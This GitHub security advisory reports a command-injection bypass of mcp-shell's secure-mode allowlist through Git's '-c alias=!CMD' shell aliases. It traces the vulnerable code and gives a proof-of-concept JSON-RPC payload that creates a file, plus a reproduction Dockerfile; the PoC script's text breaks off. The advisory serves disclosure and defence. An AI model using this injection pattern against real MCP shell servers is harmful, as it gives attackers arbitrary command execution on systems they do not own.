GitHub Advisoryadvisory · Go
GHSA-74hp-mggr-hv58 mcp-shell has a Secure Mode Allowlist Bypass via Git Shell Alias
HIGH
Official page ↗
- Aliases
- CVE-2026-55582
- Ecosystem
- Go
- Packages
- github.com/sonirico/mcp-shell
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-78
- Reviewed
- 2026-08-25
Affected packages
• Go github.com/sonirico/mcp-shell: < 0.6.0 → fixed in 0.6.0
Description
Summary
`mcp-shell`'s "secure mode" is designed to restrict command execution to an allowlist of executables defined in `security.yaml`. The default configuration includes `/usr/bin/git`. The security validator in `security.go` blocks common shell metacharacters (`|&;<>(){}[]$\``) but omits `!`, which is the prefix Git uses to execute shell aliases (`alias.NAME=!CMD`). An attacker who can invoke the `shell_exec` MCP tool can pass `/usr/bin/git -c alias.pwn=!` as the command argument, bypassing all validation and achieving arbitrary OS command execution as the `mcp-shell` process user. The default Docker image runs as `mcpuser` (UID 1000) with Git installed and secure mode enabled, making this exploitable in the default deployment with no authentication required.
Details
The vulnerability is a classic OS Command Injection (CWE-78) in the `shell_exec` MCP tool handler. The data flow from attacker input to shell execution is:
1. `main.go:89-91` — The MCP tool schema exposes a required string parameter `command` with no server-side type constraints.
2. `main.go:102` — `shell_exec` is bound to `shellHandler.handle`.
3. `handler.go:34` — The handler reads the attacker-controlled value: `command, err := request.RequireString("command")`.
4. `handler.go:49` — The command string is passed to `h.validator.validateCommand(command)`.
5. `security.go:136` — `containsShellMetacharacters` checks for `|&;<>(){}[]$\`` but `!` is absent from the blocked set.
6. `security.go:147-149` — `containsDangerousShellConstructs` also does not include `!`.
7. `security.go:85-96` — `/usr/bin/git` matches `AllowedExecutables`; no per-argument policy exists for Git. The `blocked_patterns` list in `security.yaml:35` is empty (`[]`).
8. `handler.go:59` — The fully validated (but unsafe) command is forwarded to `h.executor.execute`.
9. `executor.go:149-163` — `parseCommand` splits the string with `strings.Fields`; `exec.CommandContext(ctx, executable, args...)` is called with `executable="/usr/bin/git"` and `args=["-c", "alias.pwn=!touch", "pwn", "/tmp/target"]`.
10. `executor.go:199` — `cmd.Run()` launches `git`. Git interprets `-c alias.pwn=!touch` as a runtime configuration entry, defining the alias `pwn` as the shell command `touch`. When Git resolves the subcommand `pwn`, it triggers the shell alias: `sh -c 'touch "$@"' _ /tmp/target`, creating the file.
The root cause is the missing `!` in the metacharacter blocklist and the absence of any per-executable argument policy that would prevent Git's `-c alias.*=!` pattern.
Incriminated source locations:
• `security.go:136` — metacharacter set missing `!`
• `security.go:147-149` — `containsDangerousShellConstructs` missing `!`
• `security.yaml:27` — `/usr/bin/git` in `allowed_executables`
• `security.yaml:35` — `blocked_patterns: []`
• `executor.go:149-163,199` — direct `exec.CommandContext` invocation with unsanitized Git arguments
PoC
Prerequisites:
• Docker installed and the `mcp-shell-vuln-001` image built from the provided `Dockerfile` (repo root as build context, commit `c30862f`).
• Python 3 to run `poc.py`.
Build the Docker image:
```bash
docker build -f vuln-001/Dockerfile -t mcp-shell-vuln-001 .
```
Run the PoC:
```bash
python3 vuln-001/poc.py
```
The script performs the full MCP JSON-RPC handshake over stdin and sends the following `tools/call` request:
```json
{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "shell_exec",
"arguments": {
"command": "/usr/bin/git -c alias.pwn=!touch pwn /tmp/mcp-shell-mcp-poc",
"base64": false
}
}
}
```
The container's `/tmp` is bind-mounted to a host temporary directory so the evidence file can be observed on the host without `docker exec`.
Expected result:
• MCP response: `{"status":"success","exit_code":0,"execution_time":"~3ms","security_info":{"security_enabled":true,...}}`
• Evidence file created at `/mcp-shell-mcp-poc` with `uid=1000` (mcpuser), confirming arbitrary shell command execution inside the container.
Validation bypass explanation:
| Check | Value tested | Result |
|---|---|---|
| `containsShellMetacharacters` | `alias.pwn=!touch` | `false` — `!` not in blocklist |
| `containsDangerousShellConstructs` | `alias.pwn=!touch` | `false` — `!` not in blocklist |
| `matchesExecutable` | `/usr/bin/git` | `true` — in `AllowedExecutables` |
All checks pass; `git` receives `alias.pwn=!touch` as a config entry and executes `touch` as a shell alias.
Impact
This is an OS Command Injection vulnerability (CWE-78). Any entity that can issue an MCP `tools/call` request to a `mcp-shell` instance running with the default Docker configuration can execute arbitrary OS commands as the `mcpuser` process account (UID 1000) inside the container.
The default Docker deployment sets `MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml`, installs `git`, and runs as `mcpuser`. The `shell_exec` tool requires no additional authentication beyond MCP connectivity. "Secure mode" is explicitly marketed as the mechanism preventing command injection; this bypass nullifies that protection entirely.
Impacted parties:
• Users and operators who deploy the default `mcp-shell` Docker image and expose it to MCP clients (directly via stdio, or via an MCP bridge/proxy over the network).
• AI agent systems that integrate `mcp-shell` as a tool provider, where a compromised or malicious LLM prompt could supply the exploit payload as the `command` argument.
Reproduction artifacts
`Dockerfile`
```dockerfile
VULN-001: Secure Mode Allowlist Bypass via Git Shell Alias
CWE-78: OS Command Injection
This Dockerfile reproduces the exact default Docker deployment environment of
sonirico/mcp-shell at commit c30862f that is affected by VULN-001.
Vulnerability summary:
• security.yaml allows /usr/bin/git in allowed_executables
• The security validator (security.go) does not block '!' in arguments
• Git's '-c alias.NAME=!CMD' syntax executes CMD as a shell command
• This bypasses "secure mode" and achieves arbitrary command execution
Build context must be the repo parent directory:
docker build -f vuln-001/Dockerfile -t mcp-shell-vuln-001 .
Stage 1: Build the mcp-shell binary from the vulnerable source
FROM golang:1.25-alpine AS builder
RUN apk add --no-cache git ca-certificates
WORKDIR /src
Download dependencies before copying source for better layer caching
COPY repo/go.mod repo/go.sum ./
RUN go mod download
Copy and build the vulnerable source
COPY repo/*.go ./
RUN CGO_ENABLED=0 GOOS=linux go build \
-ldflags "-s -w" \
-o mcp-shell .
Stage 2: Runtime environment matching the default mcp-shell Docker image
FROM alpine:3.22
Install git — this is what the default Dockerfile does (apk add git),
and it is what makes the exploit possible: /usr/bin/git is present and
the security config allows it.
RUN apk add --no-cache bash git
Create non-root user matching the default Docker image
RUN addgroup -g 1000 mcpuser && \
adduser -D -s /bin/bash -u 1000 -G mcpuser mcpuser
Install the mcp-shell binary
COPY --from=builder /src/mcp-shell /usr/local/bin/mcp-shell
Install the default (vulnerable) security configuration.
Key properties that enable the exploit:
allowed_executables includes /usr/bin/git
blocked_patterns is empty
security.go does not list '!' in blocked metacharacters
COPY repo/security.yaml /etc/mcp-shell/security.yaml
Replicate the default environment variables from the repo Dockerfile
ENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml
ENV MCP_SHELL_LOG_FORMAT=json
ENV PATH="/usr/local/bin:${PATH}"
USER mcpuser
WORKDIR /home/mcpuser
mcp-shell reads JSON-RPC over stdin and writes responses to stdout
ENTRYPOINT ["mcp-shell"]
```
`poc.py`
```python
!/usr/bin/env python3
"""
Proof-of-Concept for VULN-001: Secure Mode Allowlist Bypass via Git Shell Alias
Repository: sonirico/mcp-shell (commit c30862f)
CWE-78: OS Com…
Related
Alias · CVE (1)
- CVE-2026-55582 mcp-shell is an MCP server for running shell commands securely, auditably, and on demand. vulnerability
Weakness · CWE (1)
- CWE-78 Improper Neutralization of Special Elements used in an OS Command weakness
References
- https://github.com/sonirico/mcp-shell/security/advisories/GHSA-74hp-mggr-hv58 web
- https://github.com/sonirico/mcp-shell/pull/16 web
- https://github.com/sonirico/mcp-shell/commit/f31377fce6ec31114e5a4398c0e5270552bce09f web
- https://github.com/sonirico/mcp-shell package
- https://github.com/sonirico/mcp-shell/releases/tag/v0.6.0 web